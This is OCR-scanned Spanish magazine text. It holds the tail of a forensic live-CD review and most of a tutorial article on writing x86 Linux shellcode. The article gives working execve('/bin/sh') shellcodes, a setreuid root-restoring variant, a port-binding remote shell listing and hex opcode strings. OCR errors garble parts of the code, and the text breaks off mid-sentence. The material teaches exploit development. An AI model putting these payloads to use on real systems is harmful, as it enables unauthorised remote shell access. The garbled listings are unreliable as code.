ciales (teclado, graficos, etc.) y de la contrarie-
dad que supone el tener que instalar Delve cada
vez que arranca el live-CD. El tamafio de la dis-
tribucion -450 MB- y su espartano disefio ace-
leran el proceso de carga reduciendo el consu-
mo de recursos, especialmente memoria RAM,

File Manager Terminal

lo cual amplia el niimero de ordenadores X86
en los que puede funcionar. Delve también sirve
para previsualizar soportes de datos conectados
a una estacion de trabajo, como discos duros,
pendrives, diskettes, tarjetas de memoria e iPods.
Delve resulta intuitivo y sencillo. Un agente de
policia 0 un investigador que posea nociones
de Linux estara en condiciones de examinar
un ordenador en busca de indicios delictivos
o evidencia prima facie sin necesidad de teclear
complicadas érdenes en linea de comandos ni
conocer Perl. La gran fortaleza de FBCD+Delve
consiste en la posibilidad de lograr ahorros con-
siderables de medios y tiempo, protegiendo un
recurso cada vez mas valioso como es el tiempo
de los laboratorios. Supongamos que en un caso
complejo fuera necesario investigar veinte or-
denadores con discos duros de 160 GB en busca
de indicios. Entonces habria que realizar veinte
imégenes de igual tamafio, almacenandolas en
un numero de medios lo suficientemente gran-
des como para contenerlas hasta el momento de
ser sometidas al analisis en estaciones de traba-
jo provistas de software forense como EnCase,
FTK o SMART.

Con Delve, en poco mas de media hora se
puede examinar un disco duro, si no de un mo-
do minucioso, al menos lo bastante en profun-
didad para descubrir indicios que justifiquen la
elaboracion de una imagen en bitstream. Con
los datos obtenidos durante una sesién de Delve
(archivos borrados, direcciones email, historial
de Internet, eventos y logs) podemos hacernos
una idea previa del valor de la evidencia. Esto
permitirfa dirigir el curso de las pesquisas por
un cauce mas fundamentado y preciso, sin
alterar los soportes de datos ni comprometer la
integridad judicial de la prueba.

FBCD también funciona como plataforma
forense convencional. En el supuesto de hallar
indicios que justifiquen una adquisicion del sis-
tema previsualizado, se puede conmutar al mo-
do forense utilizando las herramientas de copia
y realizacion de imagenes, bien desde el mismo
ordenador, conectando un disco duro externo,
bien a través de la red local con netcat.

En todo balance hay activos y pasivos. FBCD
es una distribucién de pago y no barata por cier-
to. También resulta tedioso tener que repetir en
cada uno de los arranques el ceremonial de co-
pia, descompresion e instalacion de Delve. Con
mount -0 loop y mkisofs se puede elaborar una
imagen de FBCD que incluya el tarball en uno de
sus directorios, pero mas comodo seria arran-
car Delve inmediatamente después de haber
iniciado el entorno grafico.

www.lpmagazine.org
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Hay otros defectos, si bien menores. Ade-
mas de aleman, francés, japonés, ruso e italiano
deberia haber en el entorno grafico una opcion
para configurar el teclado en el idioma de Cer-
vantes. Hace tiempo planteé esta sugerencia
a Thomas Rude sin que hasta la fecha me haya
contestado. Aunque el arranque de FBCD es
impecable, la parada del sistema no se ejecuta
con limpieza. Un mensaje en pantalla al expul-
sar el CD avisa de que el boton Shutdown en
XFCE y el comando halt en consola pueden
producir un reboot. La causa tal vez se halle
en que FBCD, con su enfoque minimalista, no
incluye el apagado del ordenador en sus rutinas
de reconocimiento de hardware.

Finalmente habria que citar los inconve-
nientes con los graficos ATI, solucionables me-
diante retoques en el archivo xorg.conf. Estas
son molestias inevitables debido al problema
de los drivers ATI para Linux, que atn produce
dolores de cabeza a los usuarios e innumerables
paginas de comentarios y recomendaciones en
los foros de Internet.

FBCD - "The Farmer's Boot CD" es una
distribucion personalizada al servicio de un
experto en Informatica Forense cuya actividad
principal consiste en impartir cursillos a empre-
sas, autoridades publicas y profesionales de la
seguridad. Delve fue creado para una funcion
especifica: previsualizar un ordenador antes
de tomar decisiones relativas a su adquisicion
forense. Aunque con determinados inconve-
nientes, el software cumple su misién de modo
satisfactorio, aplicando al analisis forense toda
la potencia de Linux y su capacidad para acce-
der directamente al hardware y los datos.

La previsualizacion es una idea con posi-
bilidades de futuro, sobre todo en una época en
la que el volumen y la complejidad de los datos
adquiridos dificultan cada vez mas las investi-
gaciones, y la escasez material de tiempo es
una variable con la cual han comenzado tam-
bién a especular los delincuentes informaticos.
Precisamente por esto, al haberse convertido el
tiempo del especialista en un recurso econémi-
co que interesa proteger, FBCD+Delve puede
ser una herramienta de gran utilidad para los
departamentos de investigacion de delitos
tecnoldgicos de la Policia, la Administracion
de Justicia o las Fuerzas Armadas. También
pueden sacarle partido el detective privado, el
responsable de seguridad informatica y el per-
sonal técnico que trabaja en otros cometidos
sin relacion directa con el ambito legal, como
mantenimiento de sistemas y recuperacion de
datos. &
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Shellcodes en linux

David Puente Castro
La palabra shellcode produce la misma sensacion que si escucharas hablar de
atomos, siempre surgen las mismas preguntas: ¢,qué son?, ¢cémo funcionan?.
Incluso es posible que hayas utilizado muchos para obtener un beneficio sin
conocer de qué forma lo logran, y entonces una Gltima pregunta viene a tu mente:
¢ podria construir yo uno? Sigue leyendo y lo comprobaras...

ola, soy Troy McClure. Me recordaran de

otros documentales de naturaleza como

Earwigs: Eww! y El hombre contra la na-

turaleza: EI camino de la victoria. Ademas,
es posible que me recuerden de otros textos como “Buffer
Overflows: Un Mal Interminable” partes 1 y 2, amén de
algunos otros.

Fuera bromas, no creo que unos seres animados de color
amarillo puedan ser capaces de programar algo real, pero ti
si puedes, y dado que en articulos anteriores hemos mostra-
do los principios basicos de la explotacion de buffer overflo-
ws sin entrar en detalles acerca de lo que realmente era un
shellcode, a lo largo de este articulo vamos a explicar paso
a paso co6mo programar uno bajo un sistema Linux asenta-
do en una arquitectura de procesador 1A32, es decir, todos
aquellos ordenadores con un procesador Intel o AMD de 32
bits. Los requisitos para seguir este articulo y no perderte
en el intento son bastante simples, basta con un conoci-
miento basico de programacioén en lenguaje C y sobre todo
de lenguaje ensamblador. Seria recomendable conocer las
dos sintaxis principales del lenguaje ASM, que son la de
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Intel utilizada por el compilador “nasm”, y la de Linux que
hace uso de la sintaxis AT&T.

AT&T vs Intel
No pretendemos dar un curso de ensamblador en este pun-
to ni mucho menos, solo mencionar algunas de las diferen-
cias entre las dos sintaxis mas conocidas dentro del mundo
del lenguaje ensamblador para que aquellos que deseen
interpretar los listados de codigo mostrados a lo largo de
este articulo puedan hacerlo sin mucho problema.
Veamos entonces unas cuantas comparaciones:
INTEL - push 3
AT&T - push $3
Vemos que en la sintaxis de AT&T se antepone un simbolo
de dolar a las constantes numéricas, mientras que en Intel
no es necesario. Ahora sigamos con la instruccion “mov”:
INTEL - mov eax, 3

AT&T - movl $3, %eax
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Figura 1. Desensamblado de _exit

En este punto ya se denota el cambio de orden
de los operadores; en Intel el primer operador
o registro es el llamado “destino”, y el segun-
do operador o registro es el llamado “origen”,
y entonces el valor es movido desde el origen
al destino. En AT&T ocurre todo lo contrario,
el primero es el “origen” y el segundo es el
“destino”. Ademas, en esta tltima volvemos
a ver el simbolo de délar, y observamos tam-
bién que los registros de sistema se preceden
con el simbolo “%” de porcentaje. Y un poco
mas sorprendente todavia es que la instruc-
cion “mov” se ha escrito como “movl” en
AT&T y es que ese Ultimo caracter representa
el tamafio del valor que se quiere mover,
pudiendo asi diferenciar entre estas opera-
ciones:

movb - Mueve un byte.

movw - Mueve una word
(2 bytes).

movl - Mueve un long

(4 bytes) .

Aunque cabe decir que esto no siempre es
necesario y dentro de la sintaxis AT&T puede
utilizarse muchas veces directamente “mov”
sin mas especificaciones, o al menos esto es
lo que suelen producir los desensamblados
de GDB.

Existen otras diferencias en algunas
operaciones, pero no disponemos del espacio
suficiente para exponerlas todas, y no quere-
mos tampoco desviarnos del tema principal.
Si queremos decir, no obstante, que a primera
vista queda claro que la lectura de la sintaxis
de Intel resulta en principio bastante mas
sencilla y es por ello que programar cddigo

con “nasm” (por poner un ejemplo) se vuelve

mucho maés rentable con el paso del tiempo.
Para aquellos a quienes les sea de utili-

dad, exponemos aqui el significado u objeti-

vo principal de cada registro del procesador:

+ EAX — Registro acumulador: intervie-
ne en operaciones aritméticas y logicas.
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EBX — Registro base: interviene en
transferencia de datos entre memoria
y procesador.

ECX — Registro contador: contador de
bucles y operaciones repetitivas.

EDX — Registro de datos: operaciones
aritméticas, de entrada/salida de puertos,
etc.

EIP — Registro apuntador: siguiente
instruccion a ejecutar.

ESI — Registro indice fuente: apunta al
origen de una cadena o datos.

EDI — Registro indice destino: apunta
al destino donde sera copiada una cade-
na o datos.

EBP — Apuntador base: sefiala la base
de la pila o stack (zona especial de la me-
moria).

ESP — Apuntador de pila: sefiala la cima
de la pila o stack (zona especial de la
memoria).

CS, DS, SS, ES, FS y GS — Todos ellos
son conocidos como registro de segmen-
tos, siendo el primero de cédigo, el se-
gundo de datos, el tercero de pila y asi...
No nos adentraremos mas con ellos.

Listado 1. Salida.asm

section .text

global _start

7start:

int 0x80 ; Ejecutar syscall

Listado 2. Salida de objdump

$ objdump -d ./salida
./salida: file format el£32-1386

Disassembly of section .text:

08048060 < start>:

8048060: 31 c0
8048062: 31 db
8048064: b0 01
8048066: cd 80

xor eax, eax ; eax = 0 -> Limpieza
xor ebx, ebx ; ebx = 0 -> ler Par@metro

mov al, 0x01 ; eax =1 -> NR exit 1

[- Final Listado 2 — Salida de objdump -]

xXOor $eax, seax
xXOor Sebx, Sebx
mov $0x1, %al
int $0x80

www.lpmagazine.org
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apmi p?ue.t

Figura 2. Utilidad strace

*  Flags — Son varios registros que indican
el estado actual del procesador y de cier-
tos resultados en la realizacion de opera-
ciones aritméticas. Muy util en instruc-
ciones de comparacion.

Pueden existir algunos registros mas, como
los especificos de la FPU dedicados a las
operaciones matematicas con nameros reales
de mayor precision, pero eso es algo que que-
da fuera del alcance de este articulo.

¢Qué es un Shellcode?

Un shellcode no es mas que una cadena de co-
digos de operacion hexadecimales (opcodes
en la jerga), extraidos a partir de instruccio-
nes tipicas de lenguaje ensamblador. Si esta
cadena de codigos fuera introducida en una
zona especifica de la memoria, por ejemplo
un buffer, y pudiéramos de algin modo redi-
reccionar el flujo del programa a esa zona (lo
cual ya hemos visto en anteriores articulos),
entonces tendriamos la capacidad de que ese
shellcode fuera ejecutado.

En realidad t podrias codificar cualquier
programa en ensamblador, extraer sus opco-
des abriéndolo con un editor hexadecimal,
y convertirlo en una shellcode. Pero desgra-
ciadamente existen dos limitaciones:

e Lalongitud del buffer que permite alma-
cenar ese shellcode.

¢ Una cadena no puede contener bytes
NULL como (0x00).

La primera de las limitaciones hace que di-
cho programa no pueda ser tan grande como
deseemos. A veces puede solventarse cuando
el shellcode es almacenado en una variable
de entorno (donde hay mucho mas espacio),
siempre que el registro EIP se redireccione a

este lugar. Esto es algo que ya vimos en la
segunda parte del articulo “Buffer Overflows:
Un Mal Interminable”.

La segunda, como es de suponer, radica
en que un caracter “\0” tiene el significado de
“final de cadena”, por lo que seria desechado
lo que hubiera por delante de ese carécter.

Llamadas de sistema

Si hay algo que tienen en comdn todas los
shellcode, es que hacen uso de unos mecanis-
mos conocidos como “syscall” o llamadas al
sistema, para lograr sus objetivos.

Una syscall es el modo que tiene Linux
de proporcionar comunicacion entre el nivel
de usuario y el nivel de kernel. Por ejemplo,
cuando queremos escribir algo en un archi-
vo, y hacemos uso en nuestros programas
de la funcién “write( )”, el programa pro-
duce lo que se conoce como una interrup-
cién, de modo que el programa se detiene
y el control pasa directamente al kernel,
siendo este quien en definitiva escribe los
datos en el disco.

La lista de llamadas al sistema que pro-
porciona Linux se encuentran definidas como
“/usr/include/asm/
unistd.h” y pueden verse con el siguiente
comando:

macros en el archivo

$ head -n 80 /usr/include/

asm/unistd.h

Listado 3. exec_shell.c

#include <stdio.h>

void main ()

char *name[2];

name[1] = NULL;

Listado 4. Shellcode original de Alephl

name[0] = "/bin/sh";

execve(name[0], name, NULL);

jmp 0x26 ; Salto al Oltimo call

popl $esi ; Obtenemos en ESI: "/bin/sh"

movl %esi, 0x8 (%esi) ; Concatenar: "/bin/shi/bin/sh"
movb $0x0, 0x7 (%esi) ; "\0" al final: "/bin/sh\O/bin/sh"
movl $0x0, 0xc (%esi) ; "\0" al final: "/bin/sh\O/bin/sh\0"
movl $S0xb, Yeax ; Syscall 11 ———————————— o
movl %esi, $ebx ; argl = "/bin/sh" |
leal 0x8 (%esi), %ecx ; arg2[2] = {"/bin/sh", 0" |
leal Oxc (%esi), %edx ; arg3 = NULL |
int $0x80 ; excve("/bin/sh", arg2[], NULL) <--o
movl $0x1, %eax ; Syscall 1 --o

movl $0x0, %ebx ; argl = 0 |

int $0x80 ; exit(0) <---o

call -0x2b ; Salto a la primera instruccién
.string \"/bin/sh\" ; Nuestra cadena
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{1y — jmp offset_to_call
(2) popl %esi
{(3) [codigo shell

(4) L call offset_to_pop
(3) .string \"/binsh\"

Figura 3. Truco para referenciar cadenas

Mostramos en la Tabla numero 1 un listado
con las syscalls mas importantes.

El objetivo principal de un shellcode basi-
co es, valga la redundancia, ejecutar una shell
(por ejemplo “/bin/sh”); y sabiendo con qué
funciones realizamos esta tarea en lenguaje
C, podemos deducir las syscall correspon-
dientes:

1 - setreuid(0,0);
- _ NR setreuid 70
2 - excve("/bin/sh",
args[], NULL);
- _ NR execve 11
3 - exit(0);
- __ NR exit 1

Ejecutar una de estas syscall en ensamblador,
es demasiado sencillo, tan solo hay que esta-
blecer los registros del procesador del modo
adecuado siendo:
EAX - El numero de la syscall
correspondiente
en hexadecimal.
EBX, ECX, EDX, ESI y EDI - Los
parametros asociados

a la syscall.

Con toda esta informacion, y a modo de
entrenamiento, podemos escribir el clasico
ejemplo del programa que solo ejecuta una

llamada a “exit(0)”:

#include <stdlib.h>
void main() {

exit (0);

Para poder estudiar las llamadas al sistema
debemos compilar el programa con la opcion
especial “--static”, concretamente con la or-
den: “gcc salir.c —static -o salir”. Observa en
la figura nimero 1 el cédigo desensamblado
que produce este programa. Lo hemos mos-
trado tanto en la sintaxis de Intel como en

la de AT&T para que se pueda observar su
pequena diferencia.

A efectos practicos podemos obviar la
llamada a “exit_group( )” ya que este es un
agregado de GCC, por lo demas a nosotros
nos interesa solo exit( ), en concreto las ins-
trucciones asm:
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mov 0x4 (sesp) , sebx
mov $0x1, Seax
int $0x80

Ya sabiamos a partir de la Tabla de syscalls
que a _ NR exit le corresponde el numero
1; como podemos ver, la instruccion “mov”

Listado 5. Shellcode sin bytes nulos
jmp 0x1f # 2 bytes
popl $esi # 1 byte
movl %$esi, 0x8 (%esi) # 3 bytes
xorl %eax, $eax # 2 bytes -> eax = 0
movb $eax, 0x7 (%esi) # 3 bytes
movl %eax, 0xc (%esi) # 3 bytes
movb $0xb, $al # 2 bytes -> al = 11 [excve()
mov1l %esi, $ebx # 2 bytes
leal 0x8 (%esi), $ecx # 3 bytes
leal Oxc (%esi), $edx # 3 bytes
int $0x80 # 2 bytes
xorl %ebx, $ebx # 2 bytes -> ebx = 0
mov1l %ebx, $eax # 2 bytes -> eax = ebx = 0
inc Seax # 1 bytes -> eax += 1
int $0x80 # 2 bytes
call -0x24 # 5 bytes
.string \"/bin/sh\" # 8 bytes
Listado 6. shellcode_final.asm
section .text
global _start
_start:
XOor eax, eax ; Limpieza
mov al, 0x46 5 Syscall 70
xor ebx, ebx ; argl = 0
XOr ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
XOor eax, eax ; eax = 0
push eax 5 "o
push dword 0x68732f2f ; "//sh"
push dword 0x6e69622f ; "/bin"
mov ebx, esp ; argl = "/bin//sh\0"
push eax 5 NULL -> args[1]
push ebx ; "/bin/sh\0" -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve("/bin/sh", args["/bin/sh", "NULL™], NULL);
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™\

&)

a—-——&g

77



")
—_—

78

hacking para linuxeros
Shellcodes en linux

BITS 32
section .text

global _start

_start:
XOr eax,eax
xor ebx,ebx

XOr ecx,ecx

push eax

push byte 0x1
push byte 0x2
mov ecx,esp
inc bl

mov al,102
int 0x80

mov esi,eax

push edx

push long 0xBBBB02BB

mov ecx,esp

push byte 0x10

push ecx

push esi
mov ecx,esp
inc bl

mov al,102
int 0x80

push edx

push esi

mov ecx,esp

Listado 7. Shellcode de conexién a puertos

Limpieza

arg3 0

arg2 = 1 = PFE_INET

argl = 2 = SOCK_STREAM
ecx = args[]
socketcall[l] = socket ()

syscall socketcall

5 Boom!

H

H

Guarda socket "server"

en ESI

serv_addr.sin_addr.
s_addr = 0 -> Localhost
serv_addr.sin port =
htons(48059) ;
serv_addr.sin family =
AF_INET;

PAD

; ecx = struct sockaddr

arg3 = strlen(struct
sockaddr)

arg2 = &(struct sockaddr
*) &serv_addr

argl = server

ecx = args[]
socketcall[2] = bind()
syscall socketcall

Boom!

arg2 = 0 -> Sin limite
de conexiones entrantes
argl = server

ecx = args[]

mov bl,0x4
mov al,102
int 0x80

push edx
push edx
push esi
mov ecx,esp
inc bl

mov al,102
int 0x80

mov ebx,eax

Descriptor o socket destino

XOr ecx,ecx

mov al, 63

int 0x80

inc ecx

mov al, 63

int 0x80

inc ecx

mov al, 63

int 0x80

push edx

push dword 0x68732f2f
push dword 0x6e69622f
mov ebx,esp

push edx

push ebx
mov ecx,esp
mov al,0x0b

int 0x80

socketcall[4] = listen()

syscall socketcall

Boom!

arg3 = 0

arg2 = 0

argl = server

ecx = args[l
socketcall[5] = accept ()
syscall socketcall
Boom!

ebx = client ->

dup2(client, stdin) ->
Redirigir entrada al

cliente

dup2(client, stdout) ->
Redirigir salida al

cliente

dup2(client, stderr) ->
Redirigir errores al

cliente

Aqui el clasico
execve("/bin/sh",

args[1, NULL);

mueve exactamente ese valor al registro EAX
y luego se ejecuta la interrupcion 0x80 que
siempre es la misma para cualquier syscall. El
argumento de la funcion exit(), segiin nuestro
programa, debe ser un “0”, y eso lo logra la
primera instruccién, que introduce en EBX
dicho argumento.

Ciertamente nosotros podriamos poner
un cero en EBX con una instruccion mas
sencilla como “mov $0x0,%ebx” o simple-
mente “xor %ebx,%ebx”. La primera genera

bytes NULL, la segunda no, y es por ello que
utilizaremos esta Gltima.

En el listado 1 mostramos entonces como
podemos escribir el mismo programa en en-
samblador sin la necesidad de realizar la lla-
mada a “exit_group()”, para ello utilizamos el
formato nasm que es muy limpio.

Todo lo que esta después del caracter ;”
no son méas que comentarios mios que tradu-
cen a un lenguaje mas claro lo que hace cada
una de las instrucciones en ensamblador.
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Ahora podemos compilarlo y enlazarlo.
Para luego ejecutarlo y comprobar que fun-
ciona:

$ nasm -f elf salida.asm
$ 1d salida.o -o salida

$ ./salida

Hasta este punto no sabemos si el programa
se ha ejecutado correctamente, porque como
se limita a “salir”, no podemos ver nada. Aun-



que debemos tener en cuenta que “no” obte-
ner un fallo de segmentacion es algo signi-
ficativo, y que nos indica que vamos por el
buen camino.

Muchos ya conocéis el programa “strace”,
cuya mision es ver precisamente las llamadas
al sistema que son ejecutadas durante el trans-
curso de una aplicacién. Nosotros vamos a con-
vertir primero nuestro programa en una cadena
shellcode tradicional extrayendo, como ya he-
mos dicho, sus codigos de operacién hexa-
decimales. Para esto Ultimo usaremos la herra-
mienta “objdump”, que nos brinda todos los
datos que necesitamos. Puedes ver la salida del
mismo en el listado nimero 2.

Es genial observar cdmo se conserva todo
tan limpio y reducido. El mismo programa es-
crito en lenguaje C hubiera agregado varias se-
cciones méas y ensuciado nuestro codigo. La ca-
dena de opcodes es la union de los bytes que
nos ofrece objdump: “x31\xc0\x31\xdb\xbO0\
x01\xcd\x80”. Estos, introducidos en un prog-
rama en C, quedaria como sigue:

char shellcode[] = "\x31\xc0\x31\xdb\
xb0\x01\xcd\x80";

void main( ) {

void (*fp) (void);
fp = (void *)shellcode;
fp ()7

}

Mostramos resumidamente en la figura niime-
ro 2 como compilarlo y ejecutarlo mediante
“strace” para ver si la llamada al sistema se
ejecuta apropiadamente.

Podemos ver en la parte final de la ima-
gen como nuestra llamada “_exit(0)” es eje-
cutada tal y como esperabamos. Todo esto es
estupendo, pero explotar un programa con un
shellcode cuya tnica finalidad es salir, resulta
algo decepcionante; de modo que vamos a se-
guir investigando un poco mas hasta alcanzar
el punto que nos habiamos fijado como meta,
ejecutar una shell.

Vigje al pasado

El objetivo principal de todo shellcode es eje-
cutar precisamente una “shell de comandos”
(cuando no un comando individual). El nticleo
de esta clase de shellcodes es una llamada a la
funcion “execve( )”, con el primer y segundo
parametros establecidos a una cadena ““/bin/sh”.
Segtin Alephl, era algo como lo que puedes ver
en el Listado 3. El mayor problema a la hora
de traducir este codigo a ensamblador, radica
en como hacer referencia a la cadena “/bin/sh”
cuando se desean establecer los parametros

de la syscall. Y el truco que vino a solucionar
definitivamente este problema fue mas que in-
creiblemente ingenioso. Se basa en utilizar una
estructura como la que puedes ver en el grafico 3.

Vemos que en (1) la instruccion “jmp” nos
lleva directamente a la penultima instruccion
de todo el cddigo. Todos los que conocen un
poco de ensamblador, saben que lo primero
que se hace cuando una instruccion “call” es
ejecutada, es colocar el valor de EIP en la pila
(en la jerga se dice que este valor se pushea),
valor que resulta ser exactamente la siguiente
instruccion a ejecutar, en nuestro caso la ca-
dena “/bin/sh” (que no es una instruccion, por
supuesto). Repetimos de un modo mas instruc-
tivo, el truco esta en colocar un salto (jmp) al
principio del cddigo para ir directamente a la
instruccion “call” que va seguida de la cadena
que nos interesa referenciar; acontinuacion, este
“call” va encaminado a la siguiente instruccion
después del primer “jmp”, es decir la segunda
instruccion del codigo (pop), cuyo objetivo es
precisamente extraer el valor recién introducido
en la pila por “call” (el valor del registro EIP),
y se almacena en el registro ESI. A partir de
ese momento el resto del cédigo shell puede
referenciar la cadena “/bin/sh” haciendo uso
unicamente del registro ESI.

Hemos juntado todo lo que recién acaba-
mos de comentar en el Listado 4, donde se pue-
dever el shellcode original construido por el ya
conocido escritor de Phrack, Alephl, al que he
afiadido todos los comentarios necesarios para
seguir su curso sin necesidad de conocer
ensamblador a fondo.

Si lees detenidamente mis comentarios,
Veras que no es mas que un juego en el que se
deben ir componiendo con precision las pie-
zas.

Podemos extraer los opcodes si primero
introduces todo el cddigo anterior en una lla-

(20

mada a: __asm__ (‘") dentro de un programa
en C. Resumiendo, obtendras una cadena de

bytes como la siguiente:

char shellcode[] =

"\xeb\x2a\x5e\x89\x76\
x08\xc6\x46\x07\x00\xc7\
x46\x0c\x00\x00\x00"

"\x00\xb8\x0b\x00\x00\
x00\x89\x£3\x8d\x4e\x08\
x8d\x56\x0c\xcd\x80"

"\xb8\x01\x00\x00\x00\
xbb\x00\x00\x00\x00\xcd\
x80\xe8\xd1\xff\xff"

"\xf£\x2f\x62\x69\x6e\
x2f\x73\x68\x00\x89\xec\
x5d\xc3";

www.lpmagazine.org
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Este shellcode tiene un problema a la hora de
utilizarse en un caso real de buffer overflows
(tal vez algln lector atento ya se haya dado
cuenta). Y es precisamente la limitacion de la
que hablamos al principio de este articulo sobre
el contenido de bytes NULL. Al introducir
el shellcode en un buffer, este seria interpretado
como una cadena y se cortaria al llegar a este
punto:  “\xeb\x2a\x5e\x89\x 76\x08\xc6\x46\
x07\x00”. Por lo tanto nuestro intento quedaria
frustrado.

Es por este motivo que se debe desarrollar
un codigo todavia més limpio que evite cual-
quier tipo de carécter no apto en nuestra cadena.
Los consejos son utilizar instrucciones como
“xor reg,reg” en vez de “movl O,reg” y utili-
zar el tamafio de registro mas pequefio posible,
por ejemplo “al” en vez de “ax”. Siguiendo es-
tas instrucciones, Alephl reconstruy6 su shell-
code tal y como se puede ver en.

Y entonces la cadena resultante seria la
siguiente:

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\
x08\x31\xc0\x88\x46\x07\
x89\x46\x0c\xb0"

"\x0b\x89\x£3\x8d\x4e\x08\
x8d\x56\x0c\xcd\x80\x31\
xdb\x89\xd8"

"\x40\xcd\x80\xe8\xdc\xf£f\
xff\xff/bin/sh";

Ademas, realizar este proceso de limpieza es
estupendo para nuestros propositos, ya que
logramos muchas mas ventajas que listamos
a continuacion:

¢ Nos deshacemos de los caracteres NULL.
*  Minimizamos el tamafio del shellcode.
»  Maximizamos el rendimiento del shellcode.

Con respecto a la longitud de nuestro codigo
shell, piensa que puede ser un factor fran-
camente importante ante buffers explotables
que resulten ser demasiado pequefios. Pien-
sa también que en los ejemplos que hemos
mostrado, podrias suprimir sin miedo algu-
no el cddigo correspondiente a la llamada
“exit(0)”. Decimos entonces que este trozo
de codigo es “prescindible”:

movl $0x1, %eax
movl $0x0, %ebx
int $0x80

Hasta este punto hemos presentado el mé-
todo antiguo; ahora vamos a adentrarnos en
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la estructura basica de los shellcodes actua-
les, cuyo tamarfio, con respecto a los ante-
riores, ha quedado reducido practicamente
a la mitad.

Viaje al presente

El presente no tiene mucho misterio por el
momento, la diferencia con respecto al méto-
do de Alephl se basa en que ya no es nece-
sario el uso de los saltos (jmp y call) para
referenciar la cadena “/bin/sh”.

Alguien muy astuto se dio cuenta de que
podia obtener el mismo resultado haciendo
un buen uso del stack. Ya que todos sabemos
que el registro ESP apunta siempre a la cima
de la pila, podemos ir metiendo elementos en
la pila e ir copiando la direccién de ESP a los
registros que corresponden a cada pardmetro
de la syscall.

Y te preguntaras: ;entonces como colo-
camos la cadena “/bin/sh” en la pila? El truco
esta en partir la cadena en dos subcadenas de
tal modo que queden asi:

“/bin”
“//sh”

Hay que tener en cuenta que esta construc-
cién es valida:

blackngel@mac:~$ /bin//sh
sh-3.2$ exit

Si transformamos sus valores en hexadecimal
(por ejemplo con la herramienta hexdump),
entonces ya podemos hacer algo como esto:

XOor eax, eax ; eax = 0
push eax ; push "\0"
push dword 0x68732f2f ; push "//sh"
push dword 0x6e69622f ; push "/bin"
mov ebx, esp ; argl = "/
bin//sh\0"

Ya solo nos queda ver el codigo completo.
Puedes ver el resultado en el listado nime-
ro 6, aunque debes observar que esta vez
hemos incluido una llamada a la funcién
“setreuid(0,0)” que restablece los permisos
de root si el programa los habia modificado
anteriormente.

Puedes compilar y enlazar el programa
con “nasm” y “Id”, y obtener los opcodes
con objdump como ya mostramos al princi-
pio de este articulo. Incluso para que veas lo
reducido que se queda, eliminando la llamada
a setreuid obtendriamos el siguiente shellco-
de que ocupa tan solo 23 bytes:

char shellcode[] =
"\x31\xc0\x50\x68\x2£f\
x2£\x73\x68\x68\x2£\x62\x69"
"\x6e\x89\xe3\x50\x53\x89\xel\
xb0\x0b\xcd\x80";

Conexion a puertos
El codigo que aqui mostraremos esta extraido
del famoso libro “Gray Hat Hacking”. Se ex-
pone aqui por dos motivos:

+ Su interés practico en la explotaciéon de
overflows remotos.

¢ El deseo de explicar detenidamente su
estructura.

El siguiente codigo ensamblado que mos-
traremos no es mas que un servidor base
programado con sockets en C. Su objetivo
es poner un puerto a la escucha (en este
caso el 48059) y esperar por una conexioén

MNE exi |
__NR_fork .2
_ NE_rexl i

NHE write 4
__NR_open 5

MNE_close L]

_MiR_waigpid 1
_ NR_crest 8
_NE_link 9
_MR_unlink ]

NE_exeeve (1]
MR _chdir 12
_ NR_time 13

NH_miknod 14
__NR_cheod 15

NE_khown .Ib

MK _break 17

R oldsim 1%

NE_bsock 1%
__NR_getpid 20

_NR_mount ] |
_ NR_umouwsn 22
_ MR setuid 23

NE_petuld 24

NR_stime 25
__NR_pire .Jb

ME_alarm 27

NR_oldfitan 2%
_ NR_pamse 2
__NR_utinse i

NR_sity 3

MR gy iz
__NR_ncoess i3

NE_mce 4

NER_ftime 3%
__MR_sync 36
__NR_kill a7
__MR_rename i

NE_mkdir k. ]

Tabla 1. Listado de syscalls
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entrante. La diferencia es que cuando esta
conexién es establecida, se utilizan tres
llamadas a la funcién “dup2( )”, cuya mi-
sion es duplicar los tres descriptores prin-
cipales del servidor en el cliente, estos son
la entrada, la salida y la salida de errores
estandar.

De este modo, cualquier cosa que ejecute
y/o imprima el servidor, podra ser visualiza-
do en el cliente (esto se debe a dup2(socket,
stdout)) y todo aquello que escriba el cliente,
serd recibido por el servidor (dup2(socket,
stdin).

Por lo demés, establecer un socket a la
escucha siempre sigue el mismo camino:

« socket( ) — Creaun nuevo socket.

¢ bind( ) — Pone un puerto a la escucha.

« listen( ) — Espera por conexiones en-
trantes.

» accept() — Establece una conexion.

MR rmdir Al
__NR dup 4]
__KE_pipe 41

NE_tmes 43
__NR_prof ad

_ME brk 45

MR _seighl 46
__ MR geigid 47
. _NR_ signal 48
__MR_greicuid aw

MR gelegiel 0
_NR_acct 51
_ NE_umountl 52

M ek 53
_ MR ioctl 54
._ NE_Kmil 55

ME_petegid L]

NR_acct 5
. _MNE_umount? 52
__NR |k 53

NR_iet] 34
__NR_feml 55
__ MR _mpgx 56

MNE_scipgid A7

NE_ulimit L1
. __NE_olduname 5.'?

MNE_umask L]
__NR_chroot ol
__ MR usm 62
__NR_dup2 63

NRE_geippid (2]

MR _geipgm [
__NR_setsid 66

MR _sigaction LT
_ MR sgetmask 08
._NR_M:nuk o9
_ MR _sctreusd T

MR seiregid 7

MR socketcall 102



Figura 4. Website http://www.phrack.org

En un sistema operativo Linux, todas estas
llamadas (ademas de “connect( )” para los
clientes) son implementadas en una tUnica
syscall. Sunombre es “socketcall”, y como
ya has podido ver en la lista expuesta al
principio de este articulo, se define con el nu-
mero “102”.

La pregunta es entonces: ;Como decirle
a socketcall la funcion que deseamos usar?
Pues indicandoselo en el registro EBX de es-
ta llamada de sistema. Esquematicamente los
registros adoptarian los siguientes valores:

EAX - 102

EBX — 1 - socket ( )
2 - bind( )
3 - connect ()
4 - listen( )
5 - accept ()

ECX - Los argumentos

correspondientes a cada funcién.

La llamada a dup2( ) seria asi:

EAX - 63
EBX — Descriptor o socket destino.
ECX - Descriptor a copiar.

Lo ultimo que hace este shellcode es la mis-
ma llamada a excve( ) que describimos en la
seccién anterior. El Gltimo listado, el nime-
ro 7, muestra todo el codigo apropiadamente
comentado por mi, casi como una especie de
traduccion a lenguaje C. El listado es bastante
intuitivo, para ir llamado a las distintas fun-

ciones contenidas en “socketcall”; lo que ha-
cemos al principio es poner a cero el registro
EBX con la instruccion “xor ebx,ebx”, y lue-
go ir incrementando su valor en uno de cada
vez con la instruccion “inc bl”.

Para finalizar, en una consola compila-
